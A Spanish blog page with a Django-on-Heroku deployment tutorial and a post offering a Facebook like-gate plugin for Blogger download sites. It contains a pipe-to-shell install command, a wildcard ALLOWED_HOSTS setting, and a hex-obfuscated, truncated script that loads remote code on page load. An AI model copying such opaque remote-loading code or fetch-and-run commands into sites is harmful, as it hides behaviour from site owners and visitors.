viernes, 16 de mayo de 2014

DESPLEGANDO UNA APLICACIÓN DJANGO EN HEROKU

5/16/2014


En esta artículo vamos a ver como desplegar una aplicación Web realizada en Django en Heroku. Heroku es una plataforma como servicio de computación el anube que nos permite desplegar nuestra aplicación en la nube de manera gratuita. Si quisiéramos escalar nuestra aplicación tendríamos que contratar algunos de los servicios que nos ofrece Heroku.


Instalación

  • Instalar la herramienta Heroku toolbelt (v3.3.0). Esta herramienta consta de tres utilidades básicas:
  1. Heroku client: Herramienta CLI para la creación y gestión de aplicaciones en Heroku.
  2. Foreman: Utilidad para ejecutar aplicaciones localmente.
  3. Git: Sistema de control de versiones que usaremos en nuestras aplicaciones alojadas en Heroku.
Para su instalación en Debian/Ubuntu usamos el siguiente comando:

$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh

Una vez instalado, tendremos acceso al comando heroku desde nuestro terminal:

$ heroku version
heroku-toolbelt/3.3.0 (x86_64-linux) ruby/1.9.3

Para instalar Heroku toolbelt en otro sistema operativo puedes echar un vistazo AQUI!


  • Obviamente, deberemos tener instalado Python y virtualenv en nuestro sistema operativo.
  • PostgreSQL instalado para poder testear localmente, ya que Heroku usa este motor de base de datos.
  • Una cuenta de usuario en Heroku que puedes conseguir de manera gratuita AQUI!

Creando nuestra aplicación Django en nuestro virtualenv

  • A continuación, vamos a crear nuestra aplicación Django. Primero creamos una directorio vacío donde crearemos nuestra aplicación:
$ mkdir django-heroku && cd django-heroku

A continuación creamos un entorno virtual usando virtualenv (v1.7):

$ virtualenv venv --distribute
New python executable in venv/bin/python
Installing distribute.............................................................................................................................................................................................done.
Installing pip...............done.

Una vez creado nuestro entorno virtual lo activamos:

$ source venv/bin/activate

Veremos que el prompt de nuestro terminal cambiará indicándonos en que virtualenv estamos trabajando.

El siguiente paso es instalar las dependencias que necesitamos con pip. Para ello instalaremos el paquete django-toolbelt que incluye todos los paquetes que necesitamos:

  • Django!
  • Gunicorn (Green Unicorn): Servidor WSGI implementado en Python compatible con Django.
  • dj-database-url: Utilidad de ayuda para configurar bases de datos en Django.
  • dj-static: Servidor de ficheros estáticos para Django.
Desde nuestro entorno virtual ejecutamos el siguiente comando:

$ pip install django-toolbelt
Installing collected packages: Django, psycopg2, gunicorn, dj-database-url, dj-static, static
...
Successfully installed Django psycopg2 gunicorn dj-database-url dj-static static
Cleaning up...

Una vez tenemos preparado nuestro entorno de trabajo, creamos nuestra aplicación Django:

$ django-admin.py startproject hellodjango .

Definiendo nuestro Procfile

Vamos a hacer uso de un fichero Procfile. Este fichero debemos estar definido en nuestro directorio raíz y es donde declaramos los comandos que deberían ser ejecutados al arrancar nuestra aplicación. Para que nuestro aplicación se ejecute debemos de definir nuestros dynos. Un dyno no es más que un contenedor que ejecuta el comando que le especificamos.

Para que nuestra aplicación se ejecute lo primero que deberemos hacer es arrancar Gunicorn. Para ello creamos el fichero Procfile y añadimos lo siguiente:

web: gunicorn hellodjango.wsgi

Ahora podremos ejecutar nuestra aplicación localmente usando Foreman, el cual hemos instalado anteriormente:

$ foreman start
2013-04-03 16:11:22 [8469] [INFO] Starting gunicorn 0.17.2
2013-04-03 16:11:22 [8469] [INFO] Listening at: http://127.0.0.1:8000 (8469)

Ahora abrimos nuestro navegador y nos dirigimos a la ruta donde Foreman está sirviendo nuestra aplicación (http://127.0.0.1:8000).

Definiendo las dependencias con Pip

Heroku reconoce una aplicación Python por la existencia de un fichero requirements.txt en el directorio raíz del repositorio. En este fichero se especifican los módulos Python adicionales que nuestra aplicación necesita. Para el correcto despliegue de nuestra aplicación tendremos que tener definidos los siguientes módulos:

requirements.txt

Django==1.6.2
dj-database-url==0.2.2
dj-static==0.0.5
gunicorn==18.0
psycopg2==2.5.2
static==1.0.2
wsgiref==0.1.2

Configurando la aplicación Django

El siguiente paso es configurar nuestra aplicación Django empezando por la configuración de la base de datos Postgres que usamos en Heroku. Como vimos en el apartado anterior, tenemos instalado un módulo llamado dj-database-url, este módulo parsea la variable de entorno DATABASE_URL en código que entiende nuestra aplicación Django. Estando seguros que el módulo dj-database-url está definido en nuestro fichero requirements.txt añadimos lo siguiente a nuestro fichero settings.py:

settings.py

# Parse database configuration from $DATABASE_URL
import dj_database_url
DATABASES['default'] = dj_database_url.config()
# Honor the 'X-Forwarded-Proto' header for request.is_secure()
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
# Allow all host headers
ALLOWED_HOSTS = ['*']
# Static asset configuration
import os
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
STATIC_ROOT = 'staticfiles'
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),
)

A continuación modificamos el fichero wsgi.py añadiendo el siguiente código:

wsgi.py

from django.core.wsgi import get_wsgi_application
from dj_static import Cling
application = Cling(get_wsgi_application())

Con estos simples pasos ya tendremos configurada nuestra aplicación para ser desplegada en Heroku.

Creando un repositorio Git para la aplicación

El siguiente paso es crear un repositorio enGit donde guardaremos nuestra aplicación. El primer paso para crear nuestro repositorio es definir un fichero oculto.gitignore donde definiremos aquellos ficheros y directorios que queremos que sean ignorados por nuestro repositorio.
GitHub nos proporciona un fantástico fichero.gitignore que podemos usar como base, aunque lo más normal es que conforme avance nuestro proyecto definamos nuevas restricciones. Nos aseguramos que nuestro fichero.gitignore contenga las siguientes restricciones:

.gitignore:

venv
*.pyc
staticfiles

A continuación creamos nuestro repositorio y guardamos nuestro cambios:

$ git init
Initialized empty Git repository in /home/amatellanes/djangoheroku/.git/
$ git add .
$ git commit -m 'initial commit'
[master (root-commit) da56753] initial commit
6 files changed, 128 insertions(+)
create mode 100644 Procfile
create mode 100644 hellodjango/__init__.py
create mode 100644 hellodjango/requirements.txt
create mode 100644 hellodjango/settings.py
create mode 100644 hellodjango/urls.py
create mode 100644 hellodjango/wsgi.py
create mode 100644 manage.py

Desplegando la aplicación en Heroku

El siguiente paso es subir la aplicación que acabamos de crear a un repositorio de Heroku. Para ello usamos el siguiente comando:

$ heroku create
Creating gentle-gorge-9766... done, stack is cedar
http://gentle-gorge-9766.herokuapp.com/ | git@heroku.com:gentle-gorge-9766.git
Git remote heroku added

Este comando ha creado un repositorio remoto en Heroku (git@heroku.com:gentle-gorge-9766.git donde subiremos nuestra aplicación usando el siguiente comando:

$ git push heroku master
Initializing repository, done.
Counting objects: 11, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (9/9), done.
Writing objects: 100% (11/11), 2.36 KiB, done.
Total 11 (delta 0), reused 0 (delta 0)
----- Python app detected
----- No runtime.txt provided; assuming python-2.7.6.
----- Preparing Python runtime (python-2.7.6)
----- Installing Setuptools (2.1)
----- Installing Pip (1.5.4)
----- Installing dependencies using Pip (1.5.4)
Downloading/unpacking Django==1.6.2 (from -r requirements.txt (line 1))
...
Successfully installed Django dj-database-url dj-static gunicorn psycopg2 static pystache
Cleaning up...
----- Discovering process types
Procfile declares types - web
----- Compressing... done, 34.8MB
----- Launching... done, v5
http://gentle-gorge-9766.herokuapp.com deployed to Heroku
To git@heroku.com:gentle-gorge-9766.git
* [new branch] master - master

El siguiente paso es arrancar la aplicación que ya está en Heroku. Para ello ejecutaremos el comando en un dyno. Ejecutamos el siguiente comando:

$ heroku ps:scale web=1

Ahora puedes comprobar tu aplicación se esta ejecutando correctamente abriendo la dirección proporcionada por Heroku. También puedes ejecutar el siguiente comando:

$ heroku open
Opening gentle-gorge-9766... done

Para ver el estado de los dynos de nuestra aplicación ejecutamos el comando heroku ps:

$ heroku ps
=== web (1X): `gunicorn hellodjango.wsgi`
web.1: up 2014/02/23 18:20:54 (~ 9m ago)

Como vemos, solo tenemos un dyno ejecutándose en este momento.

Comprobando los logs

Heroku permite consultar el log de nuestra aplicación. Simplemente hay que ejecutar el comando heroku logs:

$ heroku logs
2014-02-23T19:38:25+00:00 heroku[web.1]: State changed from created to starting
2014-02-23T19:38:29+00:00 heroku[web.1]: Starting process with command `gunicorn hellodjango.wsgi`
2014-02-23T19:38:29+00:00 app[web.1]: Validating models...
2014-02-23T19:38:29+00:00 app[web.1]:
2014-02-23T19:38:29+00:00 app[web.1]: 0 errors found
2014-02-23T19:38:29+00:00 app[web.1]: Django version 1.6.2, using settings 'hellodjango.settings'
2014-02-23T19:38:29+00:00 app[web.1]: Development server is running at http://0.0.0.0:8000/
2014-02-23T19:38:29+00:00 app[web.1]: Quit the server with CONTROL-C.
2014-02-23T19:38:30+00:00 heroku[web.1]: State changed from starting to up
2014-02-23T19:38:32+00:00 heroku[slugc]: Slug compilation finished

Sincronizando la base de datos

Heroku nos proporciona el comando heroku run que nos permite ejecutar los comandos que usamos cuando trabajamos en local con nuestra aplicación Django, como por ejemplo syncdb o validate. Para sincronizar los modelos definidos en nuestra aplicación Django con la base de datos deberemos ejecutar el siguiente comando:

$ heroku run python manage.py syncdb
Running `python manage.py syncdb` attached to terminal... up, run.6034
Creating tables ...
Creating table django_admin_log
Creating table auth_permission
Creating table auth_group_permissions
Creating table auth_group
Creating table auth_user_groups
Creating table auth_user_user_permissions
Creating table auth_user
Creating table django_content_type
Creating table django_session
You just installed Django's auth system, which means you don't have any superusers defined.
Would you like to create one now? (yes/no): yes
Username (leave blank to use 'u8183'): amatellanes
Email address: example@example.com
Password:
Password (again):
Superuser created successfully.
Installing custom SQL ...
Installing indexes ...
+Installed 0 object(s) from 0 fixture(s)

También podemos usar el comando heroku run para ejecutar la shell de Django y trabajar con los datos almacenados en nuestra aplicación desplegada en Heroku:

$ heroku run python manage.py shell
Running `python manage.py shell` attached to terminal... up, run.4549
Python 2.7.6 (default, Jan 16 2014, 02:39:37)
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
from django.contrib.auth.models import User
User.objects.all()
[User: amatellanes]

FIN.


miércoles, 30 de abril de 2014

pru

4/30/2014

miércoles, 4 de septiembre de 2013

Añade a tu Blog de descargas DownloadSocial y has que mas personas conozcan tu Blog (Blogger)

9/04/2013
DownloadSocial es un plugin JQuery que utiliza las API de Facebook base para aumentar mas seguidores en sitios o blog especialmente de descargas con este plugin usted podrá aumentar su trafico con Facebook ya que el visitante deberá de dar un Like si es su primera vez dentro del sitio o compartir la publicación en su muro para tener acceso a la descarga a esto se le conocePAGO POR TWEET.
de esta manera sera conocido su sitio por muchas mas personas.

INSTALACION
DownloadSocial es de fácil instalación .

1) Añadir los estilos CSS
Dirigase a la opción Plantilla--Editar HTML dentro del editor de Blogger haga un click y realice la combinación de teclas CTRL+F para abrir el buscador del editor y busque la siguiente etiqueta de cierre/b:skin y justo arriba de ella añada el siguiente codigo CSS

.panel_social{
width:60%;
margin:0px auto;
padding:3px 15px 15px 15px; 
border-radius: 8px;
-moz-border-radius: 8px;
-webkit-border-radius:8px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
overflow:hidden;
}

.title_superior{
color:#252525;
font-size:1.4em;
font-family: helvetica, sans-serif;
font-weight:bold;
text-align:center;
padding:0px 0px 15px 25px;
background-image: url(//lh3.googleusercontent.com/-mHceSQs6hRc/UiYQ2P3YQYI/AAAAAAAAGdk/nTgX687GuJU/s24-no/like.png);
background-position:22% top;
background-repeat: no-repeat;
list-style-type:none;
}

.title_inferior{
color:#252525;
font-size: 1.2em;
text-align:center;
font-family: helvetica, sans-serif;
padding:0px 24px 15px 0px;
background-image: url(//lh6.googleusercontent.com/-7Mqo_8UpvEU/UiYUBWv48iI/AAAAAAAAGeM/KpXRE8cvpGg/s24-no/happy.png);
background-position:67% top;
background-repeat: no-repeat;
list-style-type:none;
}

.panel_DS{
 margin:0px auto;
}

.panel_DS p{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
}
.panel_DS b{
color:#000000;
}

.panel_bto_social{
margin:3% 30%;
overflow:hidden;
}

.panel_bto_social input[type="button"]{
border: 1px solid rgba(0,0,0,0.2);
box-sizing: content-box !important;
color: #ffffff;
cursor: pointer;
display: inline-block;
padding: 5px 5px 5px 5px;
text-align: center;
text-shadow: 0 0 5px rgba(0,0,0,0.2), 0 0 1px rgba(0,0,0,0.4);
text-decoration: none;
font-size: 1.0em;
font-family: 'Calibri';
white-space: normal;
outline: none; 
-moz-transition: all 200ms ease 0ms !important;
-o-transition: all 200ms ease 0ms !important;
-webkit-transition: all 200ms ease 0ms !important;
background-color:#158de1;
border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
}

/***** Hovered Button *****/
.panel_bto_social input[type="button"]:hover {
color: #d1f445;
text-shadow: 0 0 5px rgba(0,0,0,0.2), 0 0 1px rgba(0,0,0,0.4);
box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 5px rgba(255,255,255,0.45) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
 }

.panel_bto_social section{
border-radius: 10px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
margin:0px 5px;
padding:6px 6px 6px 6px;
-moz-box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
-webkit-box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
box-shadow: rgba(255,255,255,.28) 0px 1px 1px, inset rgba(0,0,0,.5) 0 1px 4px;
background-image: -moz-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.1)), color-stop(30%,rgba(0,0,0,0)), color-stop(100%,rgba(0,0,0,.2)));
background-image: -webkit-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: -o-linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
background-image: linear-gradient(top, rgba(0,0,0,.1) 0%, rgba(0,0,0,0) 30%, rgba(0,0,0,.2) 100%);
-moz-background-clip: padding-box;
-webkit-background-clip: padding-box;
background-clip: padding-box;
}
.like_share{
float:left;
margin:3% 5px;
}
.timer{
float:right;
padding:6px 6px 6px 6px;
}
.timer li{
color:#bfbfbf;
font-size: 0.8em;
font-family: helvetica, sans-serif;
list-style-type:none;
}
/****PANEL DOWNLOAD**********/
.panel_download{
width:90%;
margin:10px auto;
padding:15px 8px 8px 8px;
overflow:hidden;
display:none;
}
.password{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
padding:12px 8px 8px 8px;
border-radius: 15px;
-moz-border-radius: 15px;
-webkit-border-radius:15px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
}
.password b{
color:#000000;
font-family: helvetica, sans-serif;
padding:0px 0px 5px 25px;
background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidaw9L00FBgkpNIRL9z1EOhpFzvofegYDKXNFhwCt4e6TzXvSXhNj_KSmYZc18VJ6O50ps8kuFsI3_xqXHML8rMBzxMv6bMnwKVW3smaO6-C0z0zkVuPTey8usxeKx1rWHJy201UIrnoQ/s24-no/lock.png);
background-position:1px center;
background-repeat: no-repeat;
}
.note_user{
color:#252525;
font-size: 1.3em;
text-align:center;
font-family: helvetica, sans-serif;
padding:12px 8px 8px 30px;
border-radius: 15px;
-moz-border-radius: 15px;
-webkit-border-radius:15px;
background-color:#ffffff;
-moz-background-clip: padding;
-webkit-background-clip: padding;
background-clip: padding-box;
box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-moz-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10px 10px rgba(255,255,255,0.08) inset;
-webkit-box-shadow: 0 0 3px rgba(255,255,255,0.25) inset, 0 0 1px rgba(255,255,255,0.2), 0 10x 10px rgba(255,255,255,0.08) inset;
box-shadow: inset 0 1px #dbd9d9, inset 0 0 0 1px #8c8b8b, 0 1px #abaaaa, 0 3px #c0c0c0, 0 4px #abaaaa, 0 5px 2px rgba(0, 0, 0, 0.4);
background-image: url(//lh6.googleusercontent.com/-7Mqo_8UpvEU/UiYUBWv48iI/AAAAAAAAGeM/KpXRE8cvpGg/s24-no/happy.png);
background-position:3px center;
background-repeat: no-repeat;
font-weight:bold;
}
.links_download{
padding:15px 8px 8px 8px;
border-radius: 8px;
-moz-border-radius: 8px;
-webkit-border-radius:8px;
background-color:#ffffff;
border:1px solid #bfbfbf;
}



2) Añadir el SCRIPT jQuery(debera de tener instalado una version reciente del plugin jQuery)
luego busque la etiqueta/head y justo arriba de ella pegue el siguiente codigo js.

b:if cond='data:blog.pageType == "item"'
script type='text/javascript'
//![CDATA[

var _0xa847=["\x35\x20\x44\x3D\x22\x22\x2C\x45\x3D\x22\x22\x2C\x4D\x3D\x22\x22\x2C\x32\x70\x3D\x22\x22\x3B\x35\x20\x73\x3D\x22\x22\x2C\x49\x3D\x22\x22\x3B\x35\x20\x4B\x3D\x22\x22\x2C\x6A\x3D\x22\x22\x3B\x35\x20\x37\x3D\x7B\x4A\x3A\x22\x22\x2C\x4E\x3A\x72\x2C\x31\x30\x3A\x75\x2C\x31\x31\x3A\x32\x6B\x2C\x58\x3A\x22\x22\x2C\x51\x3A\x22\x22\x7D\x3B\x31\x61\x2E\x4C\x3D\x32\x28\x29\x7B\x56\x28\x22\x32\x39\x3A\x2F\x2F\x32\x35\x2E\x32\x51\x2F\x32\x75\x2F\x32\x34\x2D\x32\x44\x2F\x31\x57\x2E\x31\x50\x22\x29\x3B\x31\x37\x28\x28\x32\x28\x29\x7B\x31\x4A\x28\x31\x4F\x29\x3B\x32\x46\x28\x31\x4C\x29\x3B\x31\x4B\x28\x31\x4D\x29\x3B\x31\x4E\x28\x22\x38\x2D\x39\x2D\x31\x49\x22\x29\x7D\x29\x2C\x31\x64\x29\x7D\x3B\x34\x28\x32\x28\x29\x7B\x49\x3D\x22\x3C\x33\x20\x36\x3D\x27\x31\x44\x27\x20\x69\x3D\x27\x31\x43\x27\x3E\x3C\x6D\x20\x36\x3D\x27\x31\x45\x27\x3E\x31\x46\x20\x31\x48\x20\x31\x47\x20\x79\x20\x31\x51\x3C\x2F\x6D\x3E\x3C\x70\x3E\x31\x5A\x20\x3C\x62\x3E\x22\x2B\x43\x28\x29\x2B\x22\x3C\x2F\x62\x3E\x20\x31\x59\x20\x32\x30\x20\x32\x31\x20\x32\x32\x20\x6F\x20\x31\x58\x3C\x2F\x70\x3E\x3C\x6D\x20\x36\x3D\x27\x31\x53\x27\x3E\x31\x42\xFA\x31\x54\x20\x61\x20\x31\x55\x2E\x21\x3C\x2F\x6D\x3E\x3C\x2F\x33\x3E\x3C\x33\x20\x36\x3D\x27\x31\x56\x27\x20\x69\x3D\x27\x32\x33\x27\x3E\x3C\x6B\x20\x36\x3D\x27\x59\x27\x20\x69\x3D\x27\x52\x27\x3E\x3C\x2F\x6B\x3E\x3C\x6B\x20\x36\x3D\x27\x59\x27\x20\x69\x3D\x27\x71\x27\x3E\x3C\x2F\x6B\x3E\x3C\x2F\x33\x3E\x3C\x33\x20\x36\x3D\x27\x76\x27\x20\x69\x3D\x27\x76\x27\x3E\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x77\x28\x49\x29\x3B\x68\x28\x37\x2E\x31\x30\x3D\x3D\x46\x29\x7B\x6A\x3D\x37\x2E\x31\x31\x3B\x4B\x3D\x31\x6F\x28\x32\x28\x29\x7B\x76\x28\x29\x7D\x2C\x31\x6E\x29\x7D\x68\x28\x37\x2E\x4A\x21\x3D\x72\x29\x7B\x34\x28\x22\x6B\x23\x52\x22\x29\x2E\x31\x69\x28\x27\x3C\x31\x38\x3A\x31\x68\x20\x31\x41\x3D\x22\x75\x22\x20\x31\x77\x3D\x22\x31\x70\x22\x20\x31\x78\x3D\x22\x31\x79\x3A\x31\x7A\x20\x31\x76\x3B\x20\x31\x75\x3D\x22\x27\x2B\x37\x2E\x4A\x2B\x27\x22\x20\x31\x72\x3D\x22\x31\x73\x22\x20\x31\x74\x3D\x22\x75\x22\x20\x3E\x3C\x2F\x31\x38\x3A\x31\x68\x3E\x27\x29\x7D\x34\x28\x22\x6B\x23\x71\x22\x29\x2E\x31\x69\x28\x27\x3C\x31\x6C\x20\x31\x6D\x3D\x22\x31\x6B\x22\x20\x31\x33\x3D\x22\x71\x22\x20\x69\x3D\x22\x71\x22\x20\x32\x52\x3D\x22\x32\x42\x22\x3E\x27\x29\x3B\x31\x37\x28\x32\x28\x29\x7B\x55\x28\x29\x7D\x2C\x31\x64\x29\x3B\x34\x28\x22\x31\x6C\x5B\x31\x6D\x3D\x27\x31\x6B\x27\x5D\x23\x71\x22\x29\x2E\x32\x43\x28\x32\x28\x29\x7B\x48\x28\x29\x7D\x29\x7D\x29\x3B\x32\x20\x76\x28\x29\x7B\x6A\x3D\x6A\x2D\x31\x3B\x68\x28\x6A\x3C\x3D\x30\x29\x7B\x6A\x3D\x30\x3B\x32\x45\x28\x4B\x29\x3B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x7D\x34\x28\x22\x33\x23\x76\x22\x29\x2E\x77\x28\x22\x3C\x6D\x3E\x6F\x20\x32\x76\x20\x22\x2B\x6A\x2B\x22\x20\x32\x77\x3C\x2F\x6D\x3E\x22\x29\x7D\x32\x20\x7A\x28\x29\x7B\x35\x20\x61\x3D\x22\x22\x2C\x62\x3D\x22\x22\x3B\x35\x20\x63\x3D\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x29\x3B\x68\x28\x63\x21\x3D\x72\x29\x7B\x68\x28\x37\x2E\x4E\x21\x3D\x72\x29\x7B\x62\x3D\x22\x3C\x78\x20\x36\x3D\x27\x32\x79\x27\x3E\x22\x2B\x37\x2E\x4E\x2B\x22\x3C\x2F\x78\x3E\x22\x3B\x61\x3D\x22\x3C\x33\x20\x36\x3D\x27\x42\x27\x20\x69\x3D\x27\x42\x27\x3E\x22\x2B\x63\x2B\x22\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x62\x2B\x61\x29\x2E\x74\x28\x22\x67\x22\x29\x7D\x4F\x7B\x62\x3D\x22\x3C\x78\x20\x36\x3D\x27\x32\x47\x27\x3E\x22\x2B\x37\x2E\x51\x2B\x22\x3C\x2F\x78\x3E\x22\x3B\x61\x3D\x22\x3C\x33\x20\x36\x3D\x27\x42\x27\x20\x69\x3D\x27\x42\x27\x3E\x22\x2B\x63\x2B\x22\x3C\x2F\x33\x3E\x22\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x77\x28\x62\x2B\x61\x29\x2E\x74\x28\x22\x67\x22\x29\x7D\x7D\x7D\x32\x20\x55\x28\x29\x7B\x31\x32\x2E\x32\x4D\x2E\x32\x4C\x28\x22\x32\x48\x2E\x32\x49\x22\x2C\x32\x28\x61\x29\x7B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x7D\x29\x7D\x32\x20\x48\x28\x29\x7B\x31\x32\x2E\x32\x4A\x28\x7B\x32\x4B\x3A\x22\x32\x74\x22\x2C\x31\x33\x3A\x37\x2E\x58\x2B\x22\x20\x22\x2B\x43\x28\x29\x2C\x32\x73\x3A\x31\x35\x28\x29\x2C\x32\x63\x3A\x31\x39\x28\x29\x2C\x32\x64\x3A\x31\x67\x28\x31\x62\x28\x29\x2C\x32\x65\x29\x7D\x2C\x32\x28\x61\x29\x7B\x68\x28\x21\x61\x7C\x7C\x61\x2E\x53\x29\x7B\x31\x36\x2E\x57\x28\x22\x53\x20\x32\x66\x20\x48\x22\x29\x7D\x4F\x7B\x34\x28\x22\x33\x23\x41\x22\x29\x2E\x47\x28\x22\x67\x22\x29\x3B\x34\x28\x22\x33\x23\x6E\x22\x29\x2E\x74\x28\x22\x67\x22\x29\x3B\x7A\x28\x29\x3B\x31\x36\x2E\x57\x28\x22\x32\x67\x2E\x21\x21\x22\x29\x7D\x7D\x29\x7D\x32\x20\x32\x68\x28\x62\x2C\x63\x2C\x61\x29\x7B\x44\x3D\x62\x3B\x45\x3D\x63\x3B\x31\x6A\x28\x61\x29\x3B\x31\x63\x28\x61\x29\x7D\x32\x20\x43\x28\x29\x7B\x6C\x20\x44\x7D\x32\x20\x31\x35\x28\x29\x7B\x6C\x20\x45\x7D\x32\x20\x31\x6A\x28\x61\x29\x7B\x73\x3D\x34\x28\x22\x23\x22\x2B\x61\x29\x2E\x32\x71\x28\x29\x3B\x73\x3D\x34\x2E\x32\x72\x28\x73\x2E\x32\x6E\x28\x29\x29\x7D\x32\x20\x31\x62\x28\x29\x7B\x6C\x20\x73\x7D\x32\x20\x31\x63\x28\x62\x29\x7B\x4D\x3D\x34\x28\x22\x23\x22\x2B\x62\x2B\x22\x20\x32\x6D\x3A\x32\x69\x28\x30\x29\x22\x29\x2E\x32\x6A\x28\x22\x31\x65\x22\x29\x7D\x32\x20\x31\x39\x28\x29\x7B\x6C\x20\x4D\x7D\x32\x20\x31\x67\x28\x63\x2C\x65\x29\x7B\x35\x20\x64\x3D\x65\x3B\x35\x20\x66\x3D\x22\x22\x3B\x68\x28\x63\x2E\x32\x6C\x3E\x64\x29\x7B\x35\x20\x62\x3D\x63\x2E\x31\x66\x28\x30\x2C\x64\x29\x3B\x35\x20\x61\x3D\x62\x2E\x32\x7A\x28\x22\x20\x22\x29\x3B\x62\x3D\x62\x2E\x31\x66\x28\x30\x2C\x61\x29\x3B\x66\x3D\x62\x7D\x4F\x7B\x66\x3D\x63\x7D\x6C\x20\x66\x7D\x32\x20\x56\x28\x64\x29\x7B\x35\x20\x63\x3D\x54\x2E\x32\x6F\x28\x22\x32\x36\x22\x29\x2C\x62\x3D\x75\x3B\x63\x2E\x4C\x3D\x63\x2E\x5A\x3D\x32\x28\x29\x7B\x68\x28\x28\x63\x2E\x50\x26\x26\x63\x2E\x50\x21\x3D\x3D\x22\x32\x41\x22\x26\x26\x63\x2E\x50\x21\x3D\x3D\x22\x31\x71\x22\x29\x7C\x7C\x62\x29\x7B\x6C\x20\x75\x7D\x63\x2E\x4C\x3D\x63\x2E\x5A\x3D\x72\x3B\x62\x3D\x46\x7D\x3B\x63\x2E\x32\x62\x3D\x46\x3B\x63\x2E\x31\x65\x3D\x64\x3B\x35\x20\x61\x3D\x54\x2E\x32\x38\x28\x22\x32\x37\x22\x29\x5B\x30\x5D\x3B\x61\x2E\x32\x61\x28\x63\x2C\x61\x2E\x32\x50\x29\x7D\x35\x20\x31\x34\x3D\x7B\x32\x4F\x3A\x32\x28\x62\x29\x7B\x32\x4E\x28\x35\x20\x61\x20\x32\x78\x20\x62\x29\x7B\x37\x5B\x61\x5D\x3D\x62\x5B\x61\x5D\x7D\x7D\x7D\x3B\x31\x61\x2E\x31\x52\x3D\x31\x34\x3B",